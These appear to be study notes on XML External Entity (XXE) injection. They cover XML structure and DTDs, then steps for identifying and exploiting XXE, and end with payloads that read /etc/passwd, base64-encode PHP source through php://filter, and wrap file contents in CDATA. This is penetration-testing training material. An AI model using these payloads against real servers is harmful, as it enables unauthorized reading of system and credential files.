The keys of an XML document, usually wrapped with (</>) characters.
<date>
Entity
XML variables, usually wrapped with (&/;) characters.
<
Element
The root element or any of its child elements, and its value is stored in between a start-tag and an end-tag.
<date>01-01-2022</date>
Attribute
Optional specifications for any element that are stored in the tags, which may be used by the XML parser.
version="1.0"/encoding="UTF-8"
Declaration
Usually the first line of an XML document, and defines the XML version and encoding to use when parsing it.
<?xml version="1.0" encoding="UTF-8"?>
XML DTD (Document Type Description)
Email.dtd
<!DOCTYPEemail[ <!ELEMENT email (date, time, sender, recipients, body)> <!ELEMENT recipients (to, cc?)> <!ELEMENT cc (to*)> <!ELEMENT date (#PCDATA)> <!ELEMENT time (#PCDATA)> <!ELEMENT sender (#PCDATA)> <!ELEMENT to (#PCDATA)> <!ELEMENT body (#PCDATA)>]>
Retrieving Email.dtd
XML Entities
External XML Entities
You can use SYSTEM or PUBLIC
Exploitation
Identifying
Note which elements are being displayed, so we know which elements to inject into
Try to display an entity (declaration is placed outside <root>)
Reading Sensitive Files
Note: In java, sometimes we can get directory listing when we input a directory instead of a file
Note: If the file we are referencing to contains XML chars (<, >, &), it might not display due to error so we need to encode it
Remote Code Execution
Note: encode <space> so we won't' break the XML. Also avoid using |, >, and {
Other XXE Attacks
DoS
Note: Entity self referencing doesn't work on modern web servers (i.e. apache)
Advance File Disclosure
php filter alternative. CDATA will make XML treat as raw data so special characters won't be a problem
Note: &joined; will not work here since XML forbids joining of internal dtd and external dtd. Thats why use XML parameter entities %. This will make xml treat all of them as external
Final Exploit
Note: In some modern web servers, we may not be able to read some files (like index.php), as the web server would be preventing a DOS attack caused by file/entity self-reference (i.e., XML entity reference loop)
Error-Based XXE
Not as reliable as previous methods
certain characters might break it
content length limitation
Identifying
Pass a malformed xml data <roo> instead of <root>
or use a &nonExistentEntity;
Exploitation
Assuming $nonExistentEntity; (or you can use a bad character in the reference file or a bad URI) throws an error:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [
<!ENTITY company SYSTEM "http://localhost/company.txt">
<!ENTITY signature SYSTEM "file:///var/www/html/signature.txt">
]>
<!DOCTYPE email [
<!ENTITY company "Inlane Freight">
]>
<email>&company;<email>
<!DOCTYPE email [
<!ENTITY company SYSTEM "file:///etc/passwd">
]>
<!DOCTYPE email [
<!ENTITY company SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]>
<!DOCTYPE email [
<!ENTITY begin "<![CDATA[">
<!ENTITY file SYSTEM "file:///var/www/html/submitDetails.php">
<!ENTITY end "]]>">
<!ENTITY joined "&begin;&file;&end;">
]>